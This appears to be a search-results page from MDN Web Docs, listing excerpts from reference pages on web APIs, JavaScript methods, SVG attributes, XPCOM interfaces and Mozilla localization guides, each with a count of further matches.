... a scaled-baseline-table is a compound value with three components: a baseline-identifier for the dominant-baseline, a baseline-table, and a baseline-table font-size.
...And 15 more matches
Canvas code snippets - Archive of obsolete content
for general information about using <canvas> see the canvas topic page.
... code usable from web content getting the number of pixels of a certain color in a canvas the following function will return the number of pixels in a canvas that have the rgb color of r, g and b.
... this can be very useful to compare for example if a user has painted over another area as explained in this blog post.
...And 14 more matches
Mozilla Application Framework - Archive of obsolete content
editor's note: this article should be rewritten to describe why use xulrunner to create your own application.
... related: xulrunner:what xulrunner provides, xulrunner hall of fame the mozilla application framework: for powerful, easy to develop cross-platform applications want to build applications?
... framework xul a comprehensive, cross-platform ui toolkit with an easy-to-learn xml language for defining ui structure, a schema for localization, and support for both native and cross-platform (using css) look and feel to make writing uis quick and painless.
...And 14 more matches
Localizing extension descriptions
this article provides details on how to go about localizing the descriptions of mozilla add-ons, as well as for other metadata about your add-on.
... because a new method for doing so was implemented in gecko 1.9 (firefox 3), there are two sets of instructions below.
... localizing in gecko 1.9 gecko 1.9 includes a new, more robust method for localizing add-on descriptions and other metadata.
...And 14 more matches
JS_CallFunction
calls a specified js function.
... syntax /* added in spidermonkey 31 */ bool js_callfunction(jscontext *cx, js::handleobject obj, js::handlefunction fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js_callfunctionname(jscontext *cx, js::handleobject obj, const char *name, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js_callfunctionvalue(jscontext *cx, js::handleobject obj, js::handlevalue fval, const js::handlevaluearray& args, js::mutablehandlevalue rval); /* obsolete since jsapi 30 */ bool js_callfunction(jscontext *cx, jsobject *obj, jsfunction *fun, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionname(jscontext *cx, jsobject *obj, const char *name, unsigned argc, ...
... jsval *argv, jsval *rval); bool js_callfunctionvalue(jscontext *cx, jsobject *obj, jsval fval, unsigned argc, jsval *argv, jsval *rval); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...And 14 more matches
BasicCardRequest - Web APIs
the basiccardrequest dictionary is a javascript object-structure that can be used in the payment request api.
... the properties of basiccardrequest are defined in the basic card payment spec).
... properties basiccardrequest.supportednetworks optional secure context an optional array of domstrings representing the card networks that the retailer supports (e.g.
...And 14 more matches
KeyboardEvent.location - Web APIs
the keyboardevent.location read-only property returns an unsigned long representing the location of the key on the keyboard or other input device.
... possible values are: constant value description dom_key_location_standard 0 the key has only one version, or can't be distinguished between the left and right versions of the key, and was not pressed on the numeric keypad or a key that is considered to be part of the keypad.
... dom_key_location_left 1 the key was the left-hand version of the key; for example, the left-hand control key was pressed on a standard 101 key us keyboard.
...And 14 more matches
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
the static method xrwebgllayer.getnativeframebufferscalefactor() returns a floating-point scaling factor by which one can multiply the specified xrsession's resolution to get the native resolution of the webxr device's frame buffer.
... this information can be used when creating a new xrwebgllayer to configure the xrwebgllayerinit property framebufferscalefactor in the options specified when calling the xrwebgllayer() constructor.
... if the scaling factor is 1.0, then the frame buffer pixels and the native display pixels are the same size.
...And 14 more matches
Date.prototype.toLocaleString() - JavaScript
the tolocalestring() method returns a string with a language sensitive representation of this date.
... the new locales and options arguments let applications specify the language whose formatting conventions should be used and customize the behavior of the function.
... in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation-dependent.
...And 14 more matches
d - SVG: Scalable Vector Graphics
WebSVGAttributed
value <string> default value none animatable yes glyph warning: as of svg2 <glyph> is deprecated and shouldn't be used.
... missing-glyph warning: as of svg2 <missing-glyph> is deprecated and shouldn't be used.
... svg defines 6 types of path commands, for a total of 20 commands: moveto: m, m lineto: l, l, h, h, v, v cubic bézier curve: c, c, s, s quadratic bézier curve: q, q, t, t elliptical arc curve: a, a closepath: z, z note: commands are case-sensitive.
...And 14 more matches
Getting started - SVG: Scalable Vector Graphics
(firefox users: click here) the rendering process involves the following: we start with the <svg> root element: a doctype declaration as known from (x)html should be left off because dtd based svg validation leads to more problems than it solves before svg 2, to identify the version of the svg for other types of validation the version and baseprofile attributes should always be used instead.
... both version and baseprofile attributes are deprecated in svg 2.
...the text is positioned by setting an anchor where we want the midpoint to be: in this case, the midpoint should correspond to the center of the green circle.
...And 14 more matches
Caching compiled WebAssembly modules - WebAssembly
caching is useful for improving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time.
... caching via indexeddb indexeddb is a transactional database system that allows you to store and retrieve structured data on the client-side.
... it is ideal for persisting assets locally for the saved state of an application, including text, blobs, and any other type of cloneable object.
...And 14 more matches
notification - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the notification is used to display an informative message.
... it will normally be used as part of a notificationbox.
... the box includes a button which the user can use to close the box.
...And 13 more matches
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
a call stack is a mechanism for an interpreter (like the javascript interpreter in a web browser) to keep track of its place in a script that calls multiple functions — what function is currently being run and what functions are called from within that function, etc.
... when a script calls a function, the interpreter adds it to the call stack and then starts carrying out the function.
... any functions that are called by that function are added to the call stack further up, and run where their calls are reached.
...And 13 more matches
Obsolete Build Caveats and Tips
this has resulted in many caveats and tips being added to the mdn documentation for building older versions of the code base or dealing with older build tools.
...each piece of information should mention the page and the section it originally came from.
... you can copy in the original text and bold out what has been removed.
...And 13 more matches
Writing localizable code
this page tells you about best practices and guidelines when dealing with ui code with respect to localization.
...for technical details please also look at xul_tutorial:localization.
... about localizers a few notes about localizers for developers who rarely deal with them: localizers like tools, and they don't like editors, localization tools are often based on key-value pairs, at least some localizers have their talents focused on language skills and are not savvy in programming, or even building applications.
...And 13 more matches
Certificate functions
the public functions listed here are used to interact with certificate databases.
...the nss version column indicates which versions of nss support the function.
... function name/documentation source code nss versions cert_addcerttolisttail mxr 3.2 and later cert_addextension mxr 3.5 and later cert_addocspacceptableresponses mxr 3.6 and later cert_addokdomainname mxr 3.4 and later cert_addrdn mxr 3.2.1 and later cert_asciitoname mxr 3.2 and later cert_cachecrl mxr 3.10 and later cert_clearocspcache mxr 3.11.7 and later cert_certchainfromcert mxr 3.2 and later cert_certlistfromcert mxr 3.2 and later cert_certtimesvalid mxr 3.2 and later cert_changecerttrust mxr 3.2 and later cert_checkcertvalidtimes mxr 3.2 and later cert_checknamespace mxr ...
...And 13 more matches
nsIAbCard
the nsiabcard interface is used to represent and manipulate cards in the addressbook.
...properties aren't stored anymore on the card, except for a handful of them.
... complex properties are expected to be accessed through a call to getproperty.
...And 13 more matches
Cached compose window FAQ
seth spitzer (sspitzer@mozilla.org) what is the "cached" compose window?
... instead of destroying the mail compose window on send (or close) just to create a new one the next time, mozilla mail will "cache" the compose window on send (or close), and use that instead.
... the downsides are that we have had some bugs, it complicates and bloats the code, and it requires more testing.
...And 13 more matches
CanvasRenderingContext2D.drawWindow() - Web APIs
the deprecated, non-standard and internal only canvasrenderingcontext2d.drawwindow() method of the canvas 2d api renders a region of a window into the canvas.
... this api cannot be used by web content.
... it is synchronous, and as such can't be compatible with fission.
...And 13 more matches
CanvasRenderingContext2D.setTransform() - Web APIs
the canvasrenderingcontext2d.settransform() method of the canvas 2d api resets (overrides) the current transformation to the identity matrix, and then invokes a transformation described by the arguments of this method.
... this lets you scale, rotate, translate (move), and skew the context.
... syntax ctx.settransform(a, b, c, d, e, f); ctx.settransform(matrix); the transformation matrix is described by: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right] parameters settransform() has two types of parameter that it can accept.
...And 13 more matches
DOMMatrixReadOnly.scale() - Web APIs
the scale() method of the dommatrixreadonly interface creates a new matrix being the result of the original matrix with a scale transform applied.
... syntax the scale() method is specified with either one or six values.
... dommatrix.scale(scalex[, scaley][, scalez][, originx][, originy][, originz]) parameters scalex a multiplier for the scale value on the x-axis.
...And 13 more matches
DedicatedWorkerGlobalScope - Web APIs
the dedicatedworkerglobalscope object (the worker global scope) is accessible through the self keyword.
... some additional global functions, namespaces objects, and constructors, not typically associated with the worker global scope, but available on it, are listed in the javascript reference.
... dedicatedworkerglobalscope.name read only the name that the worker was (optionally) given when it was created using the worker() constructor.
...And 13 more matches
GeolocationCoordinates - Web APIs
the geolocationcoordinates interface represents the position and altitude of the device on earth, as well as the accuracy with which these properties are calculated.
... properties the geolocationcoordinates interface doesn't inherit any properties.
... geolocationcoordinates.latitude read only secure context returns a double representing the position's latitude in decimal degrees.
...And 13 more matches
RTCIceCandidate.address - Web APIs
the rtcicecandidate interface's read-only address property is a string providing the address of the device which is the source of the candidate.
... the address field's value is set when the rtcicecandidate() constructor is used.
... you can't specify the address in the options object, but the address is automatically extracted from the candidate a-line, if it's formatted properly.
...And 13 more matches
RTCIceCandidate.relatedAddress - Web APIs
the rtcicecandidate interface's read-only relatedaddress property is a string indicating the related address of a relay or reflexive candidate.
... if the candidate is a host candidate (that is, its ip is in fact the real ip address of the remote peer), relatedaddress is null.
... the relatedaddress field's value is set when the rtcicecandidate() constructor is used.
...And 13 more matches
Writing WebSocket client applications - Web APIs
websocket client applications use the websocket api to communicate with websocket servers using the websocket protocol.
... creating a websocket object in order to communicate using the websocket protocol, you need to create a websocket object; this will automatically attempt to open the connection to the server.
...this should use the url scheme wss://, although some software may allow you to use the insecure ws:// for local connections.
...And 13 more matches
An overview of accessible web applications and widgets - Accessibility
sliders, menu bars, file list views, and more can be built with a combination of javascript, css, and html.
... since the html4 specification doesn't provide built-in tags that semantically describe these kinds of widgets, developers typically resort to using generic elements such as <div> and <span>.
... the problem dynamic content on a web page can be particularly problematic for users who, for whatever reason, are unable to view the screen.
...And 13 more matches
Unicode property escapes - JavaScript
unicode property escapes regular expressions allows for matching characters based on their unicode properties.
...for instance, unicode property escapes can be used to match emojis, punctuations, letters (even letters from specific languages or scripts), etc.
... note: for unicode property escapes to work, a regular expression must use the u flag which indicates a string must be considered as a series of unicode code points.
...And 13 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
prerequisites java 1.4.2 or newer xulrunner 1.8.0.1 or newer embedding in order to embed mozilla in your java application, you will need to add the library mozillainterfaces.jar (located in xulrunner/sdk/lib folder) to your classpath.
... this library provides the interfaces necessary to bootstrap mozilla and call xpcom methods.
...first, the java application must find a suitable xulrunner installation: mozilla mozilla = mozilla.getinstance(); greversionrange[] range = new greversionrange[1]; range[0] = new greversionrange("1.8.0", true, "1.9", false); // work with trunk nightly version 1.9a1 ^^ try { file grepath = mozilla.getgrepathwithproperties(range, null); locationprovider locprovider = new locationprovider(grepath); mozilla.initembedding(grepath, grepath, locprovider); } catch (filenotfoundexception e) { // this exception is thrown if gregrepathwithproperties cannot find a gre } catch (xpcomexception e) { // this exception is thrown if initembedding failed } locationprovider is a class provided by the ...
...And 12 more matches
Date.prototype.toLocaleFormat() - Archive of obsolete content
the non-standard tolocaleformat() method converts a date to a string using the specified formatting.
...see also the newer version of date.prototype.tolocaledatestring().
...see warning: date.prototype.tolocaleformat is deprecated for more information and migration help.
...And 12 more matches
Choosing the right memory allocator
there are a lot of different memory allocators in the mozilla source tree.
... allocating memory in xpcom these are general purpose memory-management routines that you should use unless your code falls into one of the other categories below.
... ns_alloc() == nsimemory::alloc() ns_realloc() == nsimemory::realloc() ns_free() == nsimemory::free() nsmemory::clone() (note: not part of nsimemory) see infallible memory allocation for information about how to allocate memory infallibly; that is, how to use memory allocators that will only return valid memory buffers, and never return null.
...And 12 more matches
JS_EnterLocalRootScope
enter a local root scope.
... syntax jsbool js_enterlocalrootscope(jscontext *cx); name type description cx jscontext * pointer to the context.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...And 12 more matches
nsILocalFileMac
xpcom/io/nsilocalfilemac.idlscriptable please add a summary to this article.
... inherits from: nsilocalfile last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview cfurlref getcfurl(); native code only!
...obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchinbackground); void opendocwithapp(in nsilocalfile aapptoopenwith, in boolean alaunchinbackground); void setfiletypeandcreatorfromextension(in string aextension); obsolete since gecko 1.9.2 void setfiletypeandcreatorfrommimetype(in string amimetype); obsolete since gecko 1.9.2 attributes attribute type description bundledisplayname astring returns ...
...And 12 more matches
Using popup notifications
popup notifications, also known as "doorhanger notifications", are presented to notify the user of something that's important but may not need immediate attention.
... these non-modal notifications let the user make decisions when they have a moment to do so, instead of being forced to deal with them at possibly inconvenient times.
... for example, this popup notification is displayed when a web site requests geolocation information: this lets the user decide whether or not to share their location when it's convenient to do so, instead of being compelled to do it at once.
...And 12 more matches
GeolocationCoordinates.longitude - Web APIs
the geolocationcoordinates interface's read-only longitude property is a double-precision floating point value which represents the longitude of a geographical position, specified in decimal degrees.
... together with a domtimestamp indicating a time of measurement, the geolocationcoordinates object is part of the geolocationposition interface, which is the object type returned by geolocation api functions that obtain and return a geographical position.
... syntax let longitude = geolocationcoordinatesinstance.longitude value the value in longitude is the geographical longitude of the location on earth described by the coordinates object, in decimal degrees.
...And 12 more matches
ImageCapture - Web APIs
the imagecapture interface of the mediastream image capture api provides methods to enable the capture of images or photos from a camera or other photographic device.
... it provides an interface for capturing images from a photographic device referenced through a valid mediastreamtrack.
... constructor imagecapture() creates a new imagecapture object which can be used to capture still frames (photos) from a given mediastreamtrack which represents a video stream.
...And 12 more matches
A typical HTTP session - HTTP
WebHTTPSession
as of http/1.1, the connection is no longer closed after completing the third phase, and the client is now granted a further request: this means the second and third phases can now be performed any number of times.
...other ports can also be used, like 8000 or 8080.
... the url of a page to fetch contains both the domain name, and the port number, though the latter can be omitted if it is 80.
...And 12 more matches
Function.prototype.call() - JavaScript
the call() method calls a function with a given this value and arguments provided individually.
... syntax func.call([thisarg[, arg1, arg2, ...argn]]) parameters thisarg optional the value to use as this when calling func.
... caution: in certain cases, thisarg may not be the actual value seen by the method.
...And 12 more matches
Logical OR (||) - JavaScript
the logical or (||) operator (logical disjunction) for a set of operands is true if and only if one or more of its operands is true.
... it is typically used with boolean (logical) values.
... syntax expr1 || expr2 description if expr1 can be converted to true, returns expr1; else, returns expr2.
...And 12 more matches
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
modern browsers support using svg within css styles to apply graphical effects to html content.
...there are 3 properties you can use: mask, clip-path, and filter.
... example: masking for example, you can make a gradient mask for html content using svg and css code similar to the following, inside your html document: <svg height="0"> <mask id="mask-1"> <lineargradient id="gradient-1" y2="1"> <stop stop-color="white" offset="0"/> <stop stop-opacity="0" offset="1"/> </lineargradient> <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/> <rect x="0.5" y="0.2"...
...And 12 more matches
SVG fonts - SVG: Scalable Vector Graphics
other tools however like the adobe svg viewer plugin, batik and parts of inkscape support svg font embedding.
...let's show an example declaration (the one from the specification), and explain the details.
... <font id="font1" horiz-adv-x="1000"> <font-face font-family="super sans" font-weight="bold" font-style="normal" units-per-em="1000" cap-height="600" x-height="400" ascent="700" descent="300" alphabetic="0" mathematical="350" ideographic="400" hanging="500"> <font-face-src> <font-face-name name="super sans bold"/> </font-face-src> </font-face> <missing-glyph><path d="m0,0h200v200h-200z"/></missing-glyph> <glyph unicode="!" horiz-adv-x="300"><!-- outline of exclam.
...And 12 more matches
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
this page explains a problem that can cause svg to stop working in mozilla due to the way mozilla maps filename extensions to media types.
... symptoms previously you were able to open and display svg content with mozilla, but for no apparent reason its behaviour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on this page" bar when you try to view html with embedded svg.
... note: the "additional plugins are required" bar can appear for legitimate reasons when the svg or its embedding html is broken or served incorrectly over the network (see the svg faq).
...And 12 more matches
Working with BFCache - Archive of obsolete content
q: what is the bfcache exactly?
... a: bfcache stands for back-forward cache.
... for more info about this, read how to use firefox caching.
...And 11 more matches
Creating Custom Events That Can Pass Data
this page describes how to implement custom dom events that can be used to pass data.
... using this technique you can add extra parameters and query them.
...as of gecko 1.8, if your event names do not start with "nsdom" and their interfaces do not start with "nsidom" then you can forget about passing data.
...And 11 more matches
Localizing extension metadata on addons.mozilla.org
amo supports localized metadata for each extension.
... this data describes the extension, and doesn't necessarily change with each revision (but it can).
... the localizable data fields of an extension are: name homepage summary description eula privacy policy version notes developer comments when you submit a new extension to amo, the process is divided into several steps.
...And 11 more matches
JS_SetFunctionCallback
sets a callback to be run whenever a javascript function is invoked or exited.
...using this function may have a significant performance impact.
... note: this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls.
...And 11 more matches
nsIDOMGeoGeolocation
summary the nsidomgeogeolocation interface provides access to geolocation information.
... you can request a single notification of the user's current position, or you can monitor the position over time.
... dom/interfaces/geolocation/nsidomgeogeolocation.idlscriptable please add a summary to this article.
...And 11 more matches
nsIGeolocationProvider
xpcom/system/nsigeolocationprovider.idlscriptable notify the geolocation service that a new geolocation has been discovered.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this must be called on the main thread interface provides location information to the nsgeolocator via the nsidomgeolocationcallback interface.
... after startup() is called, any geo location change should call callback.update().
...And 11 more matches
CacheStorage.match() - Web APIs
the match() method of the cachestorage interface checks if a given request or url string is a key for a stored response.
... you can access cachestorage through the global caches property.
... cache objects are searched in creation order.
...And 11 more matches
CanvasRenderingContext2D.createPattern() - Web APIs
the canvasrenderingcontext2d.createpattern() method of the canvas 2d api creates a pattern using the specified image and repetition.
... this method returns a canvaspattern.
... this method doesn't draw anything to the canvas directly.
...And 11 more matches
DeprecationReportBody - Web APIs
the deprecationreportbody interface of the reporting api represents the body of a deprecation report (the return value of its report.body property).
... a deprecation report is generated when a deprecated feature (e.g.
... a deprecated api method) is used on a document being observed by a reportingobserver.
...And 11 more matches
Event.cancelable - Web APIs
WebAPIEventcancelable
the cancelable read-only property of the event interface indicates whether the event can be canceled, and therefore prevented as if the event never happened.
... if the event is not cancelable, then its cancelable property will be false and the event listener cannot stop the event from occurring.
... event listeners that handle multiple kinds of events may want to check cancelable before invoking their preventdefault() methods.
...And 11 more matches
PaymentRequest.canMakePayment() - Web APIs
the paymentrequest method canmakepayment() determines whether or not the request is configured in a way that is compatible with at least one payment method supported by the user agent.
... you can call this before calling show() to provide a streamlined user experience when the user's browser can't handle any of the payment methods you accept.
... for instance, you might call canmakepayment() to determine if the browser will let the user pay using payment request api, and if it won't, you could fall back to another payment method, or offer a list of methods that aren't handled by payment request api (or even provide instructions for paying by mail or by phone).
...And 11 more matches
RTCIceCandidate.protocol - Web APIs
the rtcicecandidate interface's read-only protocol property is a string which indicates whether the candidate uses udp or tcp as its transport protocol.
... protocol is null by default if not specified properly in the sdp, but this is an error condition and will result in a thrown exception when you call rtcpeerconnection.addicecandidate().
... the protocol property's value is set when the rtcicecandidate() constructor is used.
...And 11 more matches
RTCIceCandidate.type - Web APIs
the rtcicecandidate interface's read-only type specifies the type of candidate the object represents.
... the type field's value is set when the rtcicecandidate() constructor is used.
... you can't specify the value of type in the options object, but the address is automatically extracted from the candidate a-line, if it's formatted properly, being taken from its cand-type field.
...And 11 more matches
RTCIceCandidate.usernameFragment - Web APIs
the read-only usernamefragment property on the rtcicecandidate interface is a string indicating the username fragment ("ufrag") that uniquely identifies a single ice interaction session.
... this value is specified when creating the rtcicecandidate by setting the corresponding usernamefragment value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate().
... if you instead call rtcicecandidate() with a string parameter containing the candidate m-line text, the value of usernamefragment is extracted from the m-line.
...And 11 more matches
Intl.Locale.prototype.numberingSystem - JavaScript
the intl.locale.prototype.numberingsystem property is an accessor property that returns the numeral system used by the locale.
...as with most internationalization schemas, the numeral systems that can be represented in a locale object by numberingsystem are standardized by unicode.
... a table of the standard unicode numeral systems can be seen below.
...And 11 more matches
Promise.prototype.catch() - JavaScript
the catch() method returns a promise and deals with rejected cases only.
... it behaves the same as calling promise.prototype.then(undefined, onrejected) (in fact, calling obj.catch(onrejected) internally calls obj.then(undefined, onrejected)).
... this means that you have to provide an onrejected function even if you want to fall back to an undefined result value - for example obj.catch(() => {}).
...And 11 more matches
String.prototype.localeCompare() - JavaScript
the localecompare() method returns a number indicating whether a reference string comes before, or after, or is the same as the given string in sort order.
... the new locales and options arguments let applications specify the language whose sort order should be used and customize the behavior of the function.
... in older implementations, which ignore the locales and options arguments, the locale and sort order used are entirely implementation-dependent.
...And 11 more matches
Logical AND (&&) - JavaScript
the logical and (&&) operator (logical conjunction) for a set of operands is true if and only if all of its operands are true.
... it is typically used with boolean (logical) values.
... syntax expr1 && expr2 description if expr1 can be converted to true, returns expr2; else, returns expr1.
...And 11 more matches
display - SVG: Scalable Vector Graphics
WebSVGAttributedisplay
the display attribute lets you control the rendering of graphical or container elements.
... a value of display="none" indicates that the given element and its children will not be rendered.
... any value other than none or inherit indicates that the given element will be rendered by the browser.
...And 11 more matches
text-anchor - SVG: Scalable Vector Graphics
it is not applicable to other types of auto-wrapped text.
... for those cases you should use text-align.
...each text chunk has an initial current text position, which represents the point in the user coordinate system resulting from (depending on context) application of the x and y attributes on the <text> element, any x or y attribute values on a <tspan>, <tref> or <altglyph> element assigned explicitly to the first rendered character in a text chunk, or determination of the initial current text position for a <textpath> element.
...And 11 more matches
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
introduction microsoft has removed support for netscape plug-ins from ie 5.5 sp 2 and beyond.
...this page describes a control that implements the np api and hosts most netscape-compatible plug-ins.
... now you can use your plug-ins in any recent version of ie or in any other activex container for that matter.
...And 10 more matches
Scaling - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson02.html.
... scaling refers to how the game canvas will scale on different screen sizes.
... we can make the game scale to fit on any screen size automatically during the preload stage, so we don't have to worry about it later.
...And 10 more matches
Communicating with frame scripts
chrome code and frame scripts communicate back and forth using a messaging api which can include json-serializable objects as arguments.
... the api is mostly symmetrical, with one major exception: frame scripts can send asynchronous or synchronous messages to chrome, but chrome can only send asynchronous messages to content.
... where absolutely necessary, frame scripts can pass wrappers called cross process object wrappers (also known as cpows) to chrome, and chrome can use these wrappers to get synchronous access to content objects.
...And 10 more matches
Localizing XLIFF files for iOS
firefox for ios uses the xliff xml-based file format to hold and transfer localization data.
... xliff (extensible localisation interchange file format) is a localization standard governed by the oasis standards body.
... the goal of the standard is to have an xml-based format to use when exchanging localization data between tools without the potential of data loss or corruption.
...And 10 more matches
Localization quick start guide
welcome to mozilla localization (l10n for short)!
... whether you're here to start up your own localization in the mozilla project or to join the efforts of an existing localization, you've come to the right place.
... this guide is filled with all of the basic, technical information you need to get involved in the mozilla l10n program.
...And 10 more matches
NSS Memory allocation
nss makes extensive use of nspr's plarenapools for memory allocation.
... each block of memory allocated in a plarenapool is called a plarena.
...when nss attempts to allocate more memory for an arena pool, the plarenapool code attempts to use an arena from its free list, and only gets a new arena from the heap if there are no arenas in the free list that are large enough to satisfy the request.
...And 10 more matches
Broadcast Channel API - Web APIs
the broadcast channel api allows basic communication between browsing contexts (that is, windows, tabs, frames, or iframes) and workers on the same origin.
... by creating a broadcastchannel object, you can receive any messages that are posted to it.
... you don't have to maintain a reference to the frames or workers you wish to communicate with: they can “subscribe” to a particular channel by constructing their own broadcastchannel with the same name, and have bi-directional communication between all of them.
...And 10 more matches
Cache.match() - Web APIs
WebAPICachematch
the match() method of the cache interface returns a promise that resolves to the response associated with the first matching request in the cache object.
... syntax cache.match(request, {options}).then(function(response) { // do something with the response }); parameters request the request for which you are attempting to find responses in the cache.
... this can be a request object or a url.
...And 10 more matches
GlobalEventHandlers.onanimationcancel - Web APIs
the onanimationcancel property of the globaleventhandlers mixin is the eventhandler for processing animationcancel events.
... an animationcancel event is sent when a css animation unexpectedly aborts, that is, any time it stops running without sending an animationend event.
... this can happen, for example, when the animation-name is changed such that the animation is removed, or when the animating node is hidden—either directly or because any of its containing nodes are hidden—using css.
...And 10 more matches
msAudioCategory - Web APIs
the msaudiocategory property of the html <audio> element, is a read/write proprietary attribute, specific to internet explorer and microsoft edge.
... msaudiocategory specifies the purpose of the audio or video media, such as background audio or alerts.
... syntax <audio controls="controls" msaudiocategory="backgroundcapablemedia"> </audio> the msaudiocategory property offers a variety of values that can enhance the behavior of your audio-aware app.
...And 10 more matches
HTMLCanvasElement.toBlob() - Web APIs
the htmlcanvaselement.toblob() method creates a blob object representing the image contained in the canvas; this file may be cached on the disk or stored in memory at the discretion of the user agent.
... syntax canvas.toblob(callback, mimetype, qualityargument); parameters callback a callback function with the resulting blob object as a single argument.
... mimetype optional a domstring indicating the image format.
...And 10 more matches
Notification.requestPermission() - Web APIs
note: this feature is not available in sharedworker note: safari still uses the callback syntax to get the permission.
... read using the notifications api for a good example of how to feature detect this and run code as appropriate.
... the requestpermission() method of the notification interface requests permission from the user for the current origin to display notifications.
...And 10 more matches
RTCIceCandidate.relatedPort - Web APIs
the rtcicecandidate interface's read-only relatedport property indicates the port number of reflexive or relay candidates.
... if the candidate is a host candidate (that is, its ip is in fact the real ip address of the remote peer), relatedport is null.
... the relatedport field's value is set when the rtcicecandidate() constructor is used.
...And 10 more matches
RTCIceTransport.getSelectedCandidatePair() - Web APIs
the rtcicetransport method getselectedcandidatepair() returns an rtcicecandidatepair object containing the current best-choice pair of ice candidates describing the configuration of the endpoints of the transport.
... syntax candidatepair = rtcicetransport.getselectedcandidatepair(); parameters none.
... return value a rtcicecandidatepair object describing the configurations of the currently-selected candidate pair's two endpoints.
...And 10 more matches
RTCRtpCapabilities - Web APIs
the rtcrtpcapabilities dictionary is a data type used to describe the capabilities of an rtcrtpsender or rtcrtpreceiver in response to a call to the rtcrtpsender.getcapabilities() or rtcrtpreceiver.getcapabilities() static functions, both of which return an array of rtcrtpcapabilities objects.
... an rtcrtpcapabilities object contains an array of objects conforming to rtcrtpcodeccapability (each describing the capabilities of one codec) and an array of the supported rtp header extensions for that codec.
... properties codecs an array of rtcrtpcodeccapability objects, each describing one of the codecs supported by the rtcrtpsender or rtcrtpreceiver.
...And 10 more matches
Accessibility: What users can do to browse more safely - Accessibility
taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions.
... personalization and accessibility settings from the article, "understanding success criterion 2.3.1: three flashes or below threshold" "flashing can be caused by the display, the computer rendering the image or by the content being rendered.
...they can be addressed by the design and speed of the display and computer" hardware and operating systems on many computers offer control that is not afforded to developers.
...And 10 more matches
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
WebHTMLElementfigure
the html <figure> (figure with optional caption) element represents self-contained content, potentially with an optional caption, which is specified using the (<figcaption>) element.
... the figure, its caption, and its contents are referenced as a single unit.
... content categories flow content, sectioning root, palpable content.
...And 10 more matches
Date.prototype.toLocaleDateString() - JavaScript
the tolocaledatestring() method returns a string with a language sensitive representation of the date portion of this date.
... the new locales and options arguments let applications specify the language whose formatting conventions should be used and allow to customize the behavior of the function.
... in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
...And 10 more matches
Number.prototype.toLocaleString() - JavaScript
the tolocalestring() method returns a string with a language-sensitive representation of this number.
... syntax numobj.tolocalestring([locales [, options]]) parameters the locales and options arguments customize the behavior of the function and let applications specify the language whose formatting conventions should be used.
... in implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
...And 10 more matches
dy - SVG: Scalable Vector Graphics
WebSVGAttributedy
the dy attribute indicates a shift along the y-axis on the position of an element or its content.
...1="0" x2="100%" y1="30%" y2="30%" /> <line x1="0" x2="100%" y1="80%" y2="80%" /> <!-- some reference text --> <text x="10%" y="30%" fill="grey">svg</text> <!-- the same text with a shift along the y-axis --> <text dy="50%" x="10%" y="30%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value <number> default value 0 animatable yes glyphref warning: as of svg2 <glyphref> is deprecated and shouldn't be used.
...And 10 more matches
operator - SVG: Scalable Vector Graphics
two elements are using this attribute: <fecomposite> and <femorphology> html, body, svg { height: 100%; font: 20px arial, helvetica, sans-serif; } <svg viewbox="0 0 120 70" xmlns="http://www.w3.org/2000/svg"> <filter id="erode"> <femorphology operator="erode" radius="0.4"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="0.8"/> </filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="url(#erode)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be perf...
... value over | in | out | atop | xor | lighter | arithmetic default value over animatable yes over this value indicates that the source graphic defined in the in attribute is placed over the destination graphic defined in the in2 attribute.
... in this value indicates that the parts of the source graphic defined in the in attribute that overlap the destination graphic defined in the in2 attribute, replace the destination graphic.
...And 10 more matches
vector-effect - SVG: Scalable Vector Graphics
note: as a presentation attribute, vector-effect can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following ten elements: <circle>, <ellipse>, <foreignobject>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath> <tspan>, and <use> usage notes value none | non-scaling-stroke | non-scaling-size | non-rotation | fixed-position default value none animatable yes none this value specifies that no vector effect shall be applied, i.e.
... non-scaling-stroke this value modifies the way an object is stroked.
...And 10 more matches
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
those changes are listed below including their support status within mozilla applications.
